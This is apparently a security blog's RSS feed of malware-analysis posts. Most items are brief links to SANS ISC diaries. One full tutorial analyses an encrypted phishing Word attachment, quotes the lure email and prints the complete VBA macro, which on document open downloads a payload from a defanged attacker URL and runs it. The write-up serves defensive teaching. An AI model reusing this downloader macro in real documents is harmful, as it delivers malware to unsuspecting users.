<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" 
  xmlns:content="http://purl.org/rss/1.0/modules/content/" 
  xmlns:dc="http://purl.org/dc/elements/1.1/" 
  xmlns:atom="http://www.w3.org/2005/Atom" 
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" 
  xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title>Malware Analysis on Untrusted Network</title>
    <link>https://untrustednetwork.net/en/tag/malware-analysis/</link>
    <description>Recent content in Malware Analysis on Untrusted Network</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <copyright>&amp;copy; Jan Kopriva 2015 - {year}</copyright>
    <lastBuildDate>Thu, 11 Feb 2021 08:20:00 +0100</lastBuildDate>
    <sy:updatePeriod>weekly</sy:updatePeriod>
    <sy:updateFrequency>weekly</sy:updateFrequency>
    
        <atom:link href="https://untrustednetwork.net/en/tag/malware-analysis/index.xml" rel="self" type="application/rss+xml" />
    
    
    

      
      <item>
        <title>SANS ISC Diary - Agent Tesla hidden in a historical anti-malware tool</title>
        <link>https://untrustednetwork.net/en/2021/02/11/sans-isc-diary-agent-tesla-hidden-in-a-historical-anti-malware-tool/</link>
        <pubDate>Thu, 11 Feb 2021 08:20:00 +0100</pubDate>
        
        <atom:modified>Thu, 11 Feb 2021 08:20:00 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2021/02/11/sans-isc-diary-agent-tesla-hidden-in-a-historical-anti-malware-tool/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at an interesting sample of Agent Tesla, which was hidden in the code of a legitimate historical anti-malware tool&amp;hellip;</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/diary/27088&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one, we take a look at an interesting sample of Agent Tesla, which was hidden in the code of a legitimate historical anti-malware tool&amp;hellip;&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Agent Tesla</category>
            
          
            
              <category>Malware Analysis</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2021</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - From a small BAT file to Mass Logger infostealer</title>
        <link>https://untrustednetwork.net/en/2021/01/04/sans-isc-diary-from-a-small-bat-file-to-mass-logger-infostealer/</link>
        <pubDate>Mon, 04 Jan 2021 15:50:00 +0100</pubDate>
        
        <atom:modified>Mon, 04 Jan 2021 15:50:00 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2021/01/04/sans-isc-diary-from-a-small-bat-file-to-mass-logger-infostealer/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at an interesting BAT file from 2020, which turned out to be a downloader for the Mass Logger infostealer.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/diary/26946&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one, we take a look at an interesting BAT file from 2020, which turned out to be a downloader for the Mass Logger infostealer.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Malware Analysis</category>
            
          
            
              <category>Trojan</category>
            
          
            
              <category>Mass Logger</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2021</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - E-mail from Agent Tesla</title>
        <link>https://untrustednetwork.net/en/2019/12/05/sans-isc-diary-e-mail-from-agent-tesla/</link>
        <pubDate>Thu, 05 Dec 2019 07:30:00 +0100</pubDate>
        
        <atom:modified>Thu, 05 Dec 2019 07:30:00 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/12/05/sans-isc-diary-e-mail-from-agent-tesla/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a multi-stage downloader for Agent Tesla.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Email+from+Agent+Tesla/25576/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one we take a look at a multi-stage downloader for Agent Tesla.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Malware Analysis</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Analysis of a strangely poetic malware</title>
        <link>https://untrustednetwork.net/en/2019/12/04/sans-isc-diary-analysis-of-a-strangely-poetic-malware/</link>
        <pubDate>Wed, 04 Dec 2019 08:14:33 +0100</pubDate>
        
        <atom:modified>Wed, 04 Dec 2019 08:14:33 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/12/04/sans-isc-diary-analysis-of-a-strangely-poetic-malware/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a macro-based dropper sent to the Internet Storm Center by one of our readers.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Analysis+of+a+strangely+poetic+malware/25572/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one we take a look at a macro-based dropper sent to the Internet Storm Center by one of our readers.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Malware Analysis</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Tricky LNK points to TrickBot</title>
        <link>https://untrustednetwork.net/en/2019/09/03/sans-isc-diary-tricky-lnk-points-to-trickbot/</link>
        <pubDate>Tue, 03 Sep 2019 13:06:21 +0200</pubDate>
        
        <atom:modified>Tue, 03 Sep 2019 13:06:21 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/09/03/sans-isc-diary-tricky-lnk-points-to-trickbot/</guid>
        <description>A Guest Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at analyzing a malicious LNK file which leads us to a sample of Trickbot.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Guest+Diary+Tricky+LNK+points+to+TrickBot/25290/&#34;&gt;Guest Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one, we take a look at analyzing a malicious LNK file which leads us to a sample of Trickbot.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Malware Analysis</category>
            
          
            
              <category>Trickbot</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>Analysis of an encrypted malicious DOC file and an (un)interesting phishing</title>
        <link>https://untrustednetwork.net/en/2019/05/05/analysis-of-an-encrypted-malicious-doc-file-and-an-uninteresting-phishing/</link>
        <pubDate>Sun, 05 May 2019 18:02:46 +0200</pubDate>
        
        <atom:modified>Sun, 05 May 2019 18:02:46 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/05/05/analysis-of-an-encrypted-malicious-doc-file-and-an-uninteresting-phishing/</guid>
        <description>Couple of days ago, I found a pretty usual-looking phishing e-mail in one of the quarantine folders of my inbox. It was addressed to me and to 19 other security specialists and incident response teams and contained a text (in German - see bellow), informing us that the author saw a job offer to which she was responding with an application document attached to the e-mail. The attachment appeared to be an encrypted DOC file and the password (&amp;ldquo;123123&amp;rdquo;) was mentioned in the body of the message.</description>
        <content:encoded>&lt;p&gt;Couple of days ago, I found a pretty usual-looking phishing e-mail in one of the quarantine folders of my inbox. It was addressed to me and to 19 other security specialists and incident response teams and contained a text (in German - see bellow), informing us that the author saw a job offer to which she was responding with an application document attached to the e-mail. The attachment appeared to be an encrypted DOC file and the password (&amp;ldquo;123123&amp;rdquo;) was mentioned in the body of the message.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sehr geehrte Damen und Herren,

über die Webseite der Bundesagentur für Arbeit habe ich von Ihrem Stellenangebot erfahren.
Aufgrund meiner langjährigen Berufserfahrung und die kontinuierliche, selbständige Weiterbildung bin ich mir sich, die mit der herausfordernden Stelle verbundenen Anforderungen zu Ihrer Zufriedenheit erfüllen zu können.

Meine Bewerbungsunterlagen habe ich an diese E-Mail angehängt. Passwort: 123123

Ich verfolge das Ziel, alle meine Fertigkeiten gewinnbringend in Ihrem Unternehmen einzusetzenDarüber hinaus strebe ich eine kontinuierliche Weiterentwicklung an, um auch zukünftige Anforderungen an diese Stelle erfüllen zu können.

Gerne stehe ich Ihnen für weitere Fragen zur Verfügung. Auf eine persönliches Vorstellungsgespräch, in welchem ich Sie gerne von meinen fachlichen Kenntnissen sowie meiner Motivation überzeuge, freue ich mich.

Ich verbleibe mit freundlichen Grüßen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even though pretty much the only unussual thing about the e-mail were the recipients, I&amp;rsquo;ve decided to do a short writeup on it since I&amp;rsquo;ve often seen junior (although not only) analysts struggle with analyzing potetially malicious Office files and I believe that this might be a good case to learn at least some basics on. So if you&amp;rsquo;ve never done &amp;ldquo;maldoc analysis&amp;rdquo; and want to know the basics, consider this a quick-and-dirty tutorial to get you up to speed.&lt;/p&gt;
&lt;p&gt;You may download the document in question &lt;a href=&#34;https://untrustednetwork.net/files/2019/maldoc-4-2019.zip&#34;&gt;here&lt;/a&gt; (password is &amp;ldquo;infected&amp;rdquo;) and follow along, if you&amp;rsquo;d like.&lt;/p&gt;
&lt;p&gt;To my mind, the best tool - or rather a collection of tools - for analyzing Office documents and PDFs (among other file types) and determining whether or not they&amp;rsquo;re malicious is the &lt;a href=&#34;https://blog.didierstevens.com/didier-stevens-suite/&#34;&gt;Didier Stevens Suite&lt;/a&gt; (DSS). The tool from this suite which can help us the most when it comes to analyzing &amp;ldquo;old style&amp;rdquo; Office documents (DOC, XLS and some other file types) is &lt;a href=&#34;https://blog.didierstevens.com/programs/oledump-py/&#34;&gt;OLEdump&lt;/a&gt;. Use of the tool is quite straightforward and it can provide us with lots of analytical information about a potentially malicious file. If we run it against the document without any additional parameters, it will give us some basic information about internal structure of the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/oledump_output.png&#34; alt=&#34;OLEdump output&#34; /&gt;&lt;/p&gt;
&lt;p&gt;In this case, it seems that the files contents are indeed encrypted, but this isn&amp;rsquo;t quite what one would expect to see when analyzing a &amp;ldquo;normal&amp;rdquo; password-protected DOC file as the internal file structure displayed doesn&amp;rsquo;t look right.&lt;/p&gt;
&lt;p&gt;When analyzing a Word document of the &amp;ldquo;old DOC&amp;rdquo; variety (&lt;a href=&#34;https://www.forensicswiki.org/wiki/Word_Document_%28DOC%29&#34;&gt;OLE Binary Compound File&lt;/a&gt;), OLEdump should give us an output showing a file structure at least somewhat similar to the following examples. First file is a normal document, second file is a password-protected document and the third is a password-protected document containing macros.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/oledump_output_2.png&#34; alt=&#34;OLEdump outputs&#34; /&gt;&lt;/p&gt;
&lt;p&gt;What we have here is actually a &amp;ldquo;new type&amp;rdquo; Word file with enabled encryption (since in cases when encryption is enabled on a DOCX file, it is saved as an OLE compound file) and modified extension. Attackers quite often change extensions of DOCM files to DOC, since Word will open (and correctly interpret) a DOCX/DOCM document with a DOC extension and most users seem to be less affraid to open a DOC than a DOCM, which obviously contains macros.&lt;/p&gt;
&lt;p&gt;Although OLEdump is a fairly versatile tool, it can&amp;rsquo;t natively handle decryption of DOCX files, even though they are in the OLE CF format. It can, however, tell us what kind of encryption is used to secure the contents of the file (as there are several possibilities - if you&amp;rsquo;d like to know more, you may refer to the relevant &lt;a href=&#34;https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/&#34;&gt;Microsoft documentation&lt;/a&gt;) which will help us to choose the best tool for decryption. As Didier Stevens - author of DSS - &lt;a href=&#34;https://blog.didierstevens.com/2018/06/07/encrypted-ooxml-documents/&#34;&gt;mentions on his own blog&lt;/a&gt;, there is a plugin called &amp;ldquo;plugin_office_crypto&amp;rdquo; which can help us with determining the encryption used. With its help (using the option -p), we can see that in this case Agile Encryption is employed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/oledump_plugin_output.png&#34; alt=&#34;OLEdump plugin output&#34; /&gt;&lt;/p&gt;
&lt;p&gt;One of the first results Google returns (at the time of writing), if you ask it how to decrypt Agile Encryption, is a link to a GitHub page for &lt;a href=&#34;https://github.com/nolze/msoffcrypto-tool&#34;&gt;msoffcrypto-tool&lt;/a&gt;, a &amp;ldquo;Python tool and library for decrypting MS Office files with passwords or other keys&amp;rdquo;. As it is also a tool I can recommend, since it&amp;rsquo;s helped me couple of times in the past, it will be the one we use for decrypting our malicious document.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/decrypted_output.png&#34; alt=&#34;Decrypted output&#34; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, the decryption was successful. If we use TrID or a similar tool, we will learn that our document is indeed a DOCM file. Although modern Word documents are basically ZIP files containing XMLs, any macros they contain are still saved in OLE CF format, which means we can still use OLEdump to analyze our file. All we need to do is have a look at the macros in A3 to A6 and OLEdump option -v will help us with that. You may find the entire source code bellow and as it is not obfuscated in any way, I don&amp;rsquo;t believe it requires much in the way of an explanation. Perhaps the only thing to add is that details for the word88.foc file - which the macro tries to download - may be found &lt;a href=&#34;https://www.virustotal.com/#/file/ab3cac7d9c1cb2d78e1be8c4749cbc7332fdc926ea85a92000e2c7f52fab51b5/detection&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;a6-vbathisdocument&#34;&gt;A6: VBA/ThisDocument&lt;/h4&gt;
&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Private&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;Document_Open&lt;/span&gt;()
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Dim&lt;/span&gt; var1 &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Integer&lt;/span&gt;
    var1 &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;1234&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; var1 &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;1234&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;
        noutil
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;a3-vbamodule1&#34;&gt;A3: VBA/Module1&lt;/h4&gt;
&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;noutil&lt;/span&gt;()
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Dim&lt;/span&gt; url &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Variant&lt;/span&gt;
    url &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; Array(getUrl)
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Dim&lt;/span&gt; savePath &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;
    savePath &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; Environ(&amp;quot;temp&amp;quot;&lt;/span&gt;) &lt;span style=&#34;color: #FFFFFF&#34;&gt;&amp;amp;&lt;/span&gt; &amp;quot;\tryui.&amp;quot;&lt;/span&gt; &lt;span style=&#34;color: #FFFFFF&#34;&gt;&amp;amp;&lt;/span&gt; &amp;quot;jmp&amp;quot;&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; IsArray(url) &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;True&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;
        SaveFile url(&lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;), savePath, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;False&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;True&lt;/span&gt;
        runNagr savePath
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;a4-vbamodule2&#34;&gt;A4: VBA/Module2&lt;/h4&gt;
&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;getUrl&lt;/span&gt;() &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; IsArray(var) &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;False&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;
        getUrl &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &amp;quot;hxxp://infogiceleredalog.info/word88.foc&amp;quot;&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;a5-vbamodule3&#34;&gt;A5: VBA/Module3&lt;/h4&gt;
&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;
&lt;span style=&#34;color: #557799&#34;&gt;#If VBA7 Then&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Private&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Declare&lt;/span&gt; PtrSafe &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;URLDownloadToFile&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Lib&lt;/span&gt; &amp;quot;urlmon&amp;quot;&lt;/span&gt; _
        &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Alias&lt;/span&gt; &amp;quot;URLDownloadToFileA&amp;quot;&lt;/span&gt; (&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; pCaller &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szURL &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szFileName &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; dwReserved &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; lpfnCB &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;) &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;
#&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Else&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Private&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Declare&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;URLDownloadToFile&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Lib&lt;/span&gt; &amp;quot;urlmon&amp;quot;&lt;/span&gt; _
        &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Alias&lt;/span&gt; &amp;quot;URLDownloadToFileA&amp;quot;&lt;/span&gt; (&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; pCaller &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szURL &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szFileName &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; dwReserved &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; lpfnCB &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;) &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;
&lt;span style=&#34;color: #557799&#34;&gt;#End If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;runNagr&lt;/span&gt;(var1 &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;)
    Shell var1
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;
&lt;p&gt;&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Public&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;SaveFile&lt;/span&gt;(Param1, Param2, Param3, Param4)&lt;br /&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; Param4 &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;True&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;&lt;br /&gt;
URLDownloadToFile &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;, Param1, Param2, &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;&lt;br /&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;&lt;br /&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>Malware Analysis</category>
            
          
        
        
          
            
              <category>2019</category>
            
          
        
        
      </item>
      

    
  </channel>
</rss>